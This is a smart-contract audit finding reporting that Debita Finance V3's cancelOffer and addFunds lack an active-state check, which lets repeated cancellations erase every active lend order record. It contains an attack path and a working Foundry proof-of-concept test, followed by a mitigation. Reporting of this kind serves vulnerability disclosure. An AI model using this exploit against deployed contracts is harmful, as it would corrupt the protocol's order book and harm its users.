Damp Fuchsia Bee

High

# Attacker is able to delete all active lend order records just by cancelling the same order multiple times.

### Summary

Anyone can cancel an existing order just by calling [DLOImplementation.cancelOffer()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144) function as long as the caller is the lend order owner and there is fund available. A lend order owner can add funds to an existing lend order by calling [DLOImplementation.addFunds()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162). None of the mentioned functions check whether the lend order is active or not. By exploiting this flaw an attacker can delete all active lend order records and bring `activeOrdersCount` down to 0 just by repeating "cancelOffer & addFunds" step.

### Root Cause

[DLOImplementation.cancelOffer()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L144) function is as follows:
```solidity
    function cancelOffer() public onlyOwner nonReentrant {
        uint availableAmount = lendInformation.availableAmount;
        lendInformation.perpetual = false;
        lendInformation.availableAmount = 0;
        require(availableAmount > 0, "No funds to cancel");
        isActive = false;

        SafeERC20.safeTransfer(
            IERC20(lendInformation.principle),
            msg.sender,
            availableAmount
        );
        IDLOFactory(factoryContract).emitDelete(address(this));
        IDLOFactory(factoryContract).deleteOrder(address(this));
        // emit canceled event on factory
    }
```
As we can see this does not check whether the order has already been cancelled or not.

[DLOImplementation.addFunds()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOffer-Implementation.sol#L162) function is as follows: 
```solidity
// only loans or owner can call this functions --> add more funds to the offer
    function addFunds(uint amount) public nonReentrant {
        require(
            msg.sender == lendInformation.owner ||
                IAggregator(aggregatorContract).isSenderALoan(msg.sender),
            "Only owner or loan"
        );
        SafeERC20.safeTransferFrom(
            IERC20(lendInformation.principle),
            msg.sender,
            address(this),
            amount
        );
        lendInformation.availableAmount += amount;
        IDLOFactory(factoryContract).emitUpdate(address(this));
    }
```
This too does not check whether the order has already been cancelled or not. 

[DLOFactory.deleteOrder()](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaLendOfferFactory.sol#L207) is as follows:
```solidity
function deleteOrder(address _lendOrder) external onlyLendOrder {
        uint index = LendOrderIndex[_lendOrder];
        LendOrderIndex[_lendOrder] = 0;

        // switch index of the last borrow order to the deleted borrow order
        allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];
        LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;

        // take out last borrow order

        allActiveLendOrders[activeOrdersCount - 1] = address(0);

        activeOrdersCount--;
    }
```
It switches position of the last order with the deleted one, decreases `activeOrdersCount` by 1 and removes cancelled lend order record from both `allActiveLendOrders` and `LendOrderIndex`.

### Internal pre-conditions
N/A

### External pre-conditions
N/A

### Attack Path

1. Create 3 lend orders by calling `DLOFactory.createLendOrder()`.
2. Cancel the first order by calling `LendOrder1.cancelOffer()`. Notice that the first lend order record is removed and `activeOrdersCount` is now 2. 
3. Add funds to the first order by calling `LendOrder1.addFunds()`. 
4. Cancel the first order again. Notice that this time the 3rd lend order record is gone and `activeOrdersCount` is now 1. 
5. Add funds to the first order again. 
6. Cancel the first order again. Notice that this time 2nd lend order record is gone and `activeOrdersCount` is now 0. 
7. Notice that no order shows up in public `DLOFactory.getActiveOrders()` call result either. 

### Impact

1. Attacker can remove records of all active lend orders. 
2. Attacker can bring `activeOrdersCount` down to 0.
3. No active order shows up in public `DLOFactory.getActiveOrders()` call result either. 

### PoC

Add the following test code in `test/DLOFactoryTest.sol`. 

```solidity
pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "./interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";

contract DLOFactoryTest is Test {
    DLOFactory public DLOFactoryContract;
    ERC20Mock public AEROContract;
    address AERO;
    DynamicData public allDynamicData;
    function setUp() public {
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        
        AEROContract = new ERC20Mock();
        deal(address(AEROContract), address(this), 1000e18, true);
        AERO = address(AEROContract);
        allDynamicData = new DynamicData();
    }
    function testDeleteAllActiveLendOrderRecords() public {
        DLOImplementation LendOrder1 = _createLendOrder(4e18, 1000, 86400, 864000, 1000e18, AERO, AERO, address(this));
        assertEq(DLOFactoryContract.activeOrdersCount(), 1);

        DLOImplementation LendOrder2 = _createLendOrder(4e18, 1000, 86400, 864000, 1000e18, AERO, AERO, address(this));
        assertEq(DLOFactoryContract.activeOrdersCount(), 2);

        DLOImplementation LendOrder3 = _createLendOrder(4e18, 1000, 86400, 864000, 1000e18, AERO, AERO, address(this));
        assertEq(DLOFactoryContract.activeOrdersCount(), 3);

        LendOrder1.cancelOffer();   // cancel LendOrder1.
        assertEq(DLOFactoryContract.LendOrderIndex(address(LendOrder1)), 0); // LendOrder1 record deleted.
        assertEq(DLOFactoryContract.activeOrdersCount(), 2); // activeOrdersCount decreased by 1.

        deal(AERO, address(this), 1000, false);
        IERC20(AERO).approve(address(LendOrder1), 1000);
        
        LendOrder1.addFunds(10);  // add funds to the previously cancelled LendOrder1.
        LendOrder1.cancelOffer();  // cancel LendOrder1 again.
        assertEq(DLOFactoryContract.LendOrderIndex(address(LendOrder3)), 0); // LendOrder3 record is gone.
        assertEq(DLOFactoryContract.activeOrdersCount(), 1); // activeOrdersCount again decreased by 1.

        LendOrder1.addFunds(20);  // add funds to LendOrder1 again.
        LendOrder1.cancelOffer();  // cancel LendOrder1 again.
        assertEq(DLOFactoryContract.LendOrderIndex(address(LendOrder2)), 0); // LendOrder2 record is gone.
        assertEq(DLOFactoryContract.activeOrdersCount(), 0); // activeOrdersCount is 0.

        // this removed all active orders record.
        assertEq(DLOFactoryContract.allActiveLendOrders(0), address(0));
        assertEq(DLOFactoryContract.allActiveLendOrders(1), address(0));
        assertEq(DLOFactoryContract.allActiveLendOrders(2), address(0));
    }
    function _createLendOrder(
        uint _ratio,
        uint maxInterest,
        uint minTime,
        uint maxTime,
        uint amountPrinciple,
        address principle,
        address collateral,
        address lender
    ) internal returns (DLOImplementation) {
        deal(principle, lender, amountPrinciple, false);
        IERC20(principle).approve(address(DLOFactoryContract), 1000e18);

        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        oraclesActivated[0] = false;

        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        ltvs[0] = 0;

        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);
        ratio[0] = _ratio;

        address[] memory acceptedCollaterals = allDynamicData.getDynamicAddressArray(1);
        acceptedCollaterals[0] = collateral;

        address[] memory oraclesPrinciples = allDynamicData.getDynamicAddressArray(1);
        oraclesPrinciples[0] = address(0x0);

        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            maxInterest,
            maxTime,
            minTime,
            acceptedCollaterals,
            principle,
            oraclesPrinciples,
            ratio,
            address(0x0),
            amountPrinciple
        );

        return DLOImplementation(lendOrderAddress);
    }
}
```

### Mitigation

Add following check in both `cancelOffer` and `addFunds` functions.
```solidity 
require(isActive, "Offer is not active");
```